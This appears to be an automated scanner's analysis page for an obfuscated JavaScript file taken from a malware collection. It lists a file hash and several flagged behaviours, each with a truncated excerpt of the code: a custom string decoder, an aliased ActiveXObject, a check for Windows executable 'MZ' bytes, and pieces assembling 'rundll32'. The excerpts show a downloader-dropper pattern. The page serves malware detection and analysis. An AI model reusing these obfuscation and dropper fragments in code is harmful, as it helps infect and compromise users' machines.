Suspicious ^66% javascript-malware-collection Download

20161221_8237a08a8c3674d320bd3812de57f410.js

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2563c694f7e3df128e9f7ddb9f252ffd8680d9e1b44f665fbdb7d115ca661d3cedd

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchiksquintFROG2XCOP = 0;	
9     var SupchiksquintRazlomSS, SupchiksquintFROG2ddDccC2, SupchiksquintFROG2c3, SupchiksquintFROG2c4;
10
11     var SupchiksquintFROG2out = "";
12
13	 var SupchiksquintFROG2Supchiksquintka= this.replace(/FROSTICK/gi, SupchiksquintFROG2out);
14 var  SupchiksquintFROG2len = SupchiksquintFROG2sud(Supch …

charCodeAt() method call lines 17–20

4… {
	 var Supchiksquintkoch = SupchiksquintFROG2Supchiksquintka.charCodeAt(SupchiksquintFROG2XCOP++) &(0x132- 0x33);
          SupchiksquintRazlomSS = levitron[Supchiksquintkoch];
      } while (SupchiksquintFROG2XCOP < SupchiksquintFRO …

Builds characters with String.fromCharCode lines 27–35

37… 2 +1== 0)
          break;
      SupchiksquintFROG2out += String['fromCharCode']((SupchiksquintRazlomSS << 2) | ((SupchiksquintFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchiksquintFROG2c3 = SupchiksquintFROG2Supchiksquintka.charCodeAt(SupchiksquintFROG2XCOP++) & 0xff;
31
          if (SupchiksquintFROG2c3 == 10*6+0.5*2)
              return SupchiksquintFROG2out;
34
          Supchiksq …

ActiveXObject via local alias lines 185–189

185:13… squintFROG2d2=SupchiksquintFROG2DoUtra.pop();
186SupchiksquintFROG2fabled="Valar2Morgulis";
187 var SupchiksquintFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchiksquintFROG2d2.split("45");SupchiksquintFROG2Native.SupchiksquintFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchiksquintFROG2$type(a)===b})};
189Sup …

Checks array for PE magic bytes lines 257–264

67… intTalabaev);	
if(SupchiksquintTalabaevLaa < 29989)return false;
if (SupchiksquintTalabaev[0]!= 77 || SupchiksquintTalabaev[1]!= 90)return false;		
SupchiksquintFROG2CHICKA = SupchiksquintFROG2CHICKA  + SupchiksquintFROG2SIDRENKOV;
REBEKK2(SupchiksquintFROG2CHICKA, SupchiksquintTalabaev );
262
var SupchiksquintFROG2ddsSSddSd = ",happy";
264SupchiksquintFROG2ddsSSddSd = (SupchiksquintFROG2StrokaParam2,"undl") + (SupchiksquintFROG2StrokaParam2,"l32 ") + Supchiksqui …